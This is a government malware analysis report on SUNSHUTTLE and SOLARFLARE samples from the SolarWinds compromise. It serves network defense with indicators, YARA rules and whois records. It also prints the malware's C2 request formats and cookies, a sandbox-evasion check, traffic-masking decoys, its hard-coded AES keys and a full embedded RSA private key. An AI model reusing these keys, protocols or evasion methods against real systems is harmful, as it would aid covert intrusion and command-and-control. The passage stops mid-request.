MAR-10327841-1.v1 – SUNSHUTTLE

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Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF) of U.S. Cyber Command. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear, The Dukes). CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

This report analyzes eighteen (18) files categorized by their associative behavior and structured configurations.

Seven (7) of the analyzed files are executables that attempt to connect to hard-coded command and control (C2) servers using Hypertext Transfer Protocol Secure (HTTPS) on port 443 and await a response upon execution.
   • Three (3) executables written in Golang (Go) and packed using the Ultimate Packer for Executables (UPX) were identified by the security company FireEye as SOLARFLARE malware. One (1) of which was unpacked and included in this report.
   • Four (4) executables written in Go were identified by FireEye as SUNSHUTTLE. Two (2) of which were unpacked and included in this report.

One (1) file is a text file that appears to be a configuration file for a SUNSHUTTLE sample.
Six (6) files are Visual Basic Script (VBScript) files designed to add the Windows registry keys to store and execute an obfuscated VBScript to download and execute a malicious payload from its C2 server. The VBScripts were identified as MISPRINT/SIBOT.
One (1) file was identified as a China Chopper webshell server-side component. The webshell was observed on a network with an active SUNSHUTTLE infection, which would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE infection was remediated.

For more information on SolarWinds-related activity visit: https://us-cert.cisa.gov/remediating-apt-compromised-networks.

For a downloadable copy of IOCs, see: MAR-10327841-1.v1.stix

Click here for a PDF version of this report.

Submitted Files (14)

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 (finder.exe)

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116 (owafont.aspx)

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec (bootcats.exe)

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd (f3.exe)

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb ( rundll32registry_createremote...)

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07 (prnmngrz.vbs)

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45 (Lexicon.exeUnPacked)

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66 (rundll32registry_schtaskdaily....)

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 (Lexicon.exe)

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c (prndrvrn.vbs)

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15 (rundll32file_schtaskdaily.vbs)

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def (SchCachedSvc.exe)

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c (WindowsDSVC.exe)

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2 (f2.exe)

Additional Files (4)

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f (Final_vbscript.vbs)

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df (runlog.dat.tmp)

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d (finder.exe_Unpacked)

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836 (WindowsDSVC.exe_Unpacked)

Domains (5)

eyetechltd.com

megatoolkit.com

nikeoutletinc.org

reyweb.com

sense4baby.fr

IPs (1)

185.225.69.69

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9

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trojan

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. The executable is UPX packed and when executed, the application will unpack and execute (d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d) in memory.

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d

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trojan

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YARA Rules

• rule CISA_3P_10327841_01 : SOLARFLARE trojan
  {
     meta:
         Author = "CISA Trusted Third Party"
         Incident = "10327841.r1.v1"
         Date = "2021-03-04"
         Actor = "n/a"
         Category = "Trojan"
         Family = "SOLARFLARE"
         Description = "Detects strings in Finder_exe samples"
         MD5_1 = "86e0f3071c3b3feecf36ea13891633fb"
         SHA256_1 = "d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d"
     strings:
         $Go_Lang = "Go build ID:"
         $main_func = "main.main"
         $main_encrypt = "main.func1"
         $StatusCode = "StatusCode:"
         $Headers = "Headers:"
         $Data = "Data:"
         $Target = "Target:"
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }

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Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "finder.exe" (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9). The application is written in the Golang (Go) open-source language. The application is designed to detect servers and network redirectors such as network security devices between the compromised systems and the C2 server. When executed, it attempts to connect to its C2 server using HTTPS on port 443. Once connection is established, it will log all of the HTTP request and response information from/to the hard-coded C2 in plaintext into "%current directory%\loglog.txt" (Figure 1)

The malware uses the following hard-coded labels to store the request and response information in the log file:
Target: The C2 URI
StatusCode: HTTP response/status code
Headers: HTTP response headers and the values
Data: Data from the HTTP response received from the C2

Displayed below are sample HTTP request sent:

--Begin sample request--
GET / HTTP/1.1
Host: 185.225.69.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
--End sample request--

Screenshots

185.225.69.69

Tags

command-and-control

URLs

• hxxps[:]//185.225.69.69/live

Ports

• 443 TCP

HTTP Sessions

• GET / HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Go-http-client/1.1
  Accept-Encoding: gzip
• GET /live/ HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Connection: Keep-Alive
  Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
  Referer: www[.]google.com    
  Accept-Encoding: gzip

Whois

inetnum:        185.225.68.0 - 185.225.71.255
netname:        HU-XET-20171012
country:        HU
org:            ORG-XK7-RIPE
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-12T13:51:43Z
last-modified: 2017-10-12T13:51:43Z
source:         RIPE

organisation: ORG-XK7-RIPE
org-name:     XET Kft.
country:        HU
org-type:     LIR
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
e-mail:         info@xethost.com
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
abuse-c:        AR43371-RIPE
mnt-ref:        hu-xet-1-mnt
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:34Z
last-modified: 2020-12-16T12:18:59Z
source:         RIPE
phone:         +36702451572

org:            ORG-XK7-RIPE
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
phone:         +36309374590
nic-hdl:        XL650-RIPE
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:33Z
last-modified: 2019-10-09T11:32:49Z
source:         RIPE
e-mail:         support@xethost.com

% Information related to '185.225.68.0/22AS30836'

route:         185.225.68.0/22
descr:         Originated to Xethost by 23Net
origin:         AS30836
mnt-by:         hu-xet-1-mnt
mnt-by:         NET23-MNT
created:        2017-10-17T13:35:44Z
last-modified: 2017-10-17T13:35:44Z
source:         RIPE

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Finder.exe (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9) and WindowsDSVC.exe (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c) attempt to connect to this IP address.

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2

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trojan

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F2.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F2.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F2.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates.

Upon execution, it reaches out to the hard-coded domain nikeoutletinc.org over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This connection is using HTTPS TLSv1.2 for encryption. After running, f2.exe closes and does not have persistence to run itself. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach out to the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f2.exe sample, a nearly identical file named f3.exe performed the role of reaching out to the C2 domain. This file does not need administrator privileges to run.

After unpacking the sample, displayed below are strings of interest:

--Begin strings of interest--
hxxps[:]//nikeoutletinc.org/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on networknet/http: request canceledno CSI structure available

Go build ID: "XoNtlAkjvYqniOio6xGI/0DIub_zdwXYX9I94QTxf/mSa3AXim2woQ8ym8GoD-/H3vqlJigkBWLlKW0U7Eq"
--End strings of interest--

Displayed below are loglog.txt contents after running f2.exe in a lab environment to mimic network traffic:

2021/03/17 10:36:35 Target: hxxps[:]//nikeoutletinc.org/
2021/03/17 10:36:35 StatusCode: 200
2021/03/17 10:36:35 Headers: map[Content-Length:[258] Content-Type:[text/html] Date:[Wed, 17 Mar 2021 14:36:35 GMT] Server:[INetSim HTTPs Server]]
2021/03/17 10:36:35 Data:
2021/03/17 10:36:35 <html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
<p align="center">This file is an HTML document.</p>
</body>
</html>

If no network connection exists the file will contain:

2021/03/17 10:38:46 Get "hxxps[:]//nikeoutletinc.org/": dial tcp 192.168.1.1:443: connectex: No connection could be made because the target machine actively refused it.

nikeoutletinc.org

Tags

command-and-control

Whois

Domain Name: NIKEOUTLETINC.ORG
Registry Domain ID: D402200000007305706-LROR
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2020-07-28T09:05:28Z
Creation Date: 2018-08-22T18:44:46Z
Registry Expiry Date: 2021-08-22T18:44:46Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS35.HOSTERBOX.COM
Name Server: NS36.HOSTERBOX.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)

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Description

f2.exe (f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2) and SchCachedSvc.exe (ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def) attempt to connect to this domain.

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd

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trojan

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This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F3.exe is a variant of SOLARFLARE/GoldFinder a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F3.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F3.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain google.com over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f3.exe sample, a nearly identical file named f2.exe performed the role of communicating to the C2 domain.

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c

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trojan

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed, and when executed, the application will unpack and execute (fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836) in memory.

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

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backdoortrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = "CISA Trusted Third Party"
         Incident = "10327841.r1.v1"
         Date = "2021-03-04"
         Actor = "n/a"
         Category = "Trojan"
         Family = "SOLARFLARE"
         Description = "Detects strings in WindowsDSVC_exe samples"
         MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
         SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
     strings:
         $Go_Lang = "Go build ID:"
         $main_func = "main.main"
         $main_encrypt = "main.encrypt"
         $main_MD5 = "main.GetMD5Hash"
         $main_beacon = "main.beaconing"
         $main_command = "main.resolve_command"
         $main_key1 = "main.request_session_key"
         $main_key2 = "main.retrieve_session_key"
         $main_clean = "main.clean_file"
         $main_wget = "main.wget_file"
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "main.request_session_key"
         $s2 = "main.define_internal_settings"
         $s3 = "main.send_file_part"
         $s4 = "main.clean_file"
         $s5 = "main.send_command_result"
         $s6 = "main.retrieve_session_key"
         $s7 = "main.save_internal_settings"
         $s8 = "main.resolve_command"
         $s9 = "main.write_file"
         $s10 = "main.beaconing"
         $s11 = "main.wget_file"
         $s12 = "main.fileExists"
         $s13 = "main.removeBase64Padding"
         $s14 = "main.addBase64Padding"
         $s15 = "main.delete_empty"
         $s16 = "main.GetMD5Hash"
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
         $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
         $s3 = "Go build ID: \""
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

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Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "WindowsDSVC.exe" (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: "c8:27:cc:c2:37:5a." If not, the malware will proceed to check if the file "%current directory%\runlog.dat.tmp" is installed on the compromised system. If the file is not installed, it will create and encrypt configuration data using the Advanced Encryption Standard (AES)-256 encryption algorithm with the hard-coded key: "u66vk8e1xe0qpvs2ecp1d14y3qx3d334." The encrypted data is Base64 encoded using the custom Base64 alphabet ("=" replaced with null) before being stored into "runlog.dat.tmp" in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
--Begin configuration data--
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: 8aebf98f920a2a198c00d87c246572b9|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
--End configuration data--

The configuration contains: MD5 hash of the current time | the number range used by its pseudorandom number generator (PRNG) | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send a HTTP GET request to its C2 server for a session key. The GET request contain a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

--Begin randomized HTTP referer--
www[.]google.com
www[.]bing.com
www[.]facebook.com
www[.]mail.com
--End randomized HTTP referer--

It contains the following hard-coded legitimate and C2 Uniform Resource Identifier (URI):

--Begin C2 URIs--
https[:]//185.225.69.69/live
https[:]//185.225.69.69/icon.ico
https[:]//185.225.69.69/icon.png
https[:]//185.225.69.69/script.js
https[:]//185.225.69.69/style.css
https[:]//185.225.69.69/css/bootstrap.css
https[:]//185.225.69.69/scripts/jquery.js
https[:]//185.225.69.69/scripts/bootstrap.js
https[:]//185.225.69.69/css/style.css
--End C2 URIs--

--Begin legitimate URIs--
https[:]//www.gstatic.com/images/?
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//fonts.gstatic.com/s/font.woff2
https[:]//cdn.google.com/index
https[:]//code.jquery.com/
https[:]//cdn.mxpnl.com/
--End legitimate URIs--

Displayed below is a sample GET request for a session key:

--Begin sample request --
GET /live/ HTTP/1.1
Host: 185.225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
Referer: www[.]google.com    
Accept-Encoding: gzip
--End sample request --

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

--Begin request--
GET /ui/v3/icons/ HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
--Begin request--

--Begin request--
GET /css/bootstrap.css/ HTTP/1.1
Host: 185[.]225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
--Begin request--

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA Optimal Asymmetric Encryption Padding (OAEP) encrypted session key received from its C2:

--BEGIN PRIVATE KEY--
MIIEowIBAAKCAQEAn7SgleG8sxrq76pXIY/6mKi0EHfN2NVSrY1ELilCSVXUFZl4
aQTnuWPlJzRMB0aLlxl4HXyXWJLgtRT//Ar1TTai5/Z/OfP82y0cggudXhg6rc9U
fX5zykr1UNtl7Vl13nGh39YySEcMP1Eyz+L8OZ9WAs7G4+s9N7I3Di+a+ZlwG4Rs
Jb1zNrqxQlmr5bWgwRlWj0I/ngo7Ej/CjLXJNwW4LOcJu2Ok9R6SLWX1CpdvY/DD
Gi5Zdw3RzIuKDwRbUcIRApuiRxjxY/Os4+A+lhazmBsVK59KGKZZ4WckAzdrtFEm
g6VVlWjBv28PGIpXvhH+M9vUg3uPmcwXchg7wwIDAQABAoIBAEJlx2npCxnvtANm
b4k9ofM8GHjMRmHC9ve+xrzmXG++5kkAoGYRKwIRvSDahk10D+8HIMApn4assg23
KGIycB/k+j+0ZNrETLkW/UY36/pF2oeOrlLqctuE5I70WGEgk3ejCKjWFduk5jug
155EgZa3XvwV2ezCTZZNWsRkGGtyrj4AZ/vRX4rIyvMTFzm4/H5Pj6QTCUwTPt2i
ukXF7vf8MeDk4m77t7+x40nQ94I1Ti6LtzhiuRMr9Eub7GUHS8wtUq4527FOeKsC
reUDNETCmTZGnAT7KuXRNbhIKyxL/6Kep7Yb18PF5WF9Lyocx/VDHKPoOdv5pqTP
7yn0CLECgYEA0jwbgGTG5I33ghzOeAUmx2hRAPtmFTD9s/7X2vk91lmFCHqg8hVh
bbz6ELWKI9LP4XPzK4uMifJ2z3PXmNCRw4NBZy+0T132PQZd1V1x9lFOmAmiybRi
ePCPXtjVPbVQnV3F66Ad/8jv8pvxIZBYBxFGm6FF86WaoJXNKAILv4kCgYEAwnil
FKQYwOyARY5lwjY5dd04r72R3y0Wpa2b8Bo8cJjUR5VsH1XTZnmV/C+dMWhdlB8B
vNZxUOLO16hFhqu/rPEwk8RyvrHU+b89O8mnphVYSq0hEsSBMH5BUjqQiHKu+BEz
vsHb+KVJTcvRIOdrtjZJukeZ2toH9PVolpg44esCgYAffRFBcda4dOsVeesS3vKn
+1/mncD0e5oEU69RBPPWHyJl2rgwijNFlIB/8DD4nKK2Sf+qDgTGxKI3AErSgKrU
ddxd8C85lAFFsqZrRsvC8PqsmwTe4T2+j4lp02BdFcM1Ts5ONHVJ0nbeB61eMZh9
toC03rrze2JlmwpXa7cGwQKBgFUVNZx3QwE9N822xFyZHsCrff6doPGUp4DrGPuO
bv0QUGfVPw3infAKqA1Cw7J3J+IDQt5csA0kfjyqOWj3QZAnogo0e8NkyHpQKjk7
O+cVFaDuaDbu1FrkEi4ow01/Z3/O/uWpqVT687xevOt5dI2u6MjgRLcUh0CsEgs5
JEHrAoGBAL4zB1serfGXHvLO9dDiSO34w5XcVQK4E34ytM224blp16U0nz5hfSQD
WQaISJs/aqBuUgVUA3WZHZbEvKbcU5u0Ieos+rIGJrUv0tJtLgtOBmfz1q3jOKOY
qwQ6HoAHqfOC5FS6t0kBDsrssGHQTqTtrnxhL6l6oBlWWXNMxQ4g
--END PRIVATE KEY--

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8

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backdoortrojan

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute (94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45) in memory.

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

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backdoortrojan

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YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = "CISA Trusted Third Party"
         Incident = "10327841.r1.v1"
         Date = "2021-03-04"
         Actor = "n/a"
         Category = "Trojan"
         Family = "SOLARFLARE"
         Description = "Detects strings in WindowsDSVC_exe samples"
         MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
         SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
     strings:
         $Go_Lang = "Go build ID:"
         $main_func = "main.main"
         $main_encrypt = "main.encrypt"
         $main_MD5 = "main.GetMD5Hash"
         $main_beacon = "main.beaconing"
         $main_command = "main.resolve_command"
         $main_key1 = "main.request_session_key"
         $main_key2 = "main.retrieve_session_key"
         $main_clean = "main.clean_file"
         $main_wget = "main.wget_file"
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "main.request_session_key"
         $s2 = "main.define_internal_settings"
         $s3 = "main.send_file_part"
         $s4 = "main.clean_file"
         $s5 = "main.send_command_result"
         $s6 = "main.retrieve_session_key"
         $s7 = "main.save_internal_settings"
         $s8 = "main.resolve_command"
         $s9 = "main.write_file"
         $s10 = "main.beaconing"
         $s11 = "main.wget_file"
         $s12 = "main.fileExists"
         $s13 = "main.removeBase64Padding"
         $s14 = "main.addBase64Padding"
         $s15 = "main.delete_empty"
         $s16 = "main.GetMD5Hash"
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
         $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
         $s3 = "Go build ID: \""
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

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Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "Lexicon.exe" (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: "c8:27:cc:c2:37:5a." If not, the malware will proceed to check if the file "%current directory%\config.dat.tmp" is installed on the compromised system. If the file is not installed, it will create and encrypt a configuration data using the AES-256 encryption algorithm with the hard-coded key: "hz8l2fnpvp71ujfy8rht6b0smouvp9k8." The encrypted data is Base64 encoded using the custom Base64 alphabet ("=" replaced with null) before stored into "config.dat.tmp" in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
--Begin configuration data--
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: d2ed208623fa66d2e5372c27c9230fb8|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
--End configuration data--

The configuration contains: MD5 hash of the current time | the number range used by its PRNG | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send an HTTP GET request to its C2 server for a session key. The GET request contains a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

--Begin randomized HTTP referer--
www[.]bing.com
www[.]google.com
www[.]facebook.com
www[.]yahoo.com
--End randomized HTTP referer--

It contains the following hard-coded legitimate and C2 URIs:

--Begin C2 URIs--
https[:]//reyweb.com/icon.ico
https[:]//reyweb.com/icon.png
https[:]//reyweb.com/script.js
https[:]//reyweb.com/style.css
https[:]//reyweb.com/css/style.css
https[:]//reyweb.com/assets/index.php
https[:]//reyweb.com/css/bootstrap.css
https[:]//reyweb.com/scripts/jquery.js
https[:]//reyweb.com/scripts/bootstrap.js
--End C2 URIs--

--Begin legitimate URIs--
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//cdn.cloudflare.com
https[:]//cdn.mxpnl.com
https[:]//cdn.google.com
https[:]//cdn.jquery.com/index
--End legitimate URIs--

Displayed below is a sample GET request for a session key:

--Begin sample request --
GET /assets/index.php HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www[.]yahoo.com
Accept-Encoding: gzip
--End sample request --

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

--Begin request--
GET /ui/v3/icons HTTP/1.1
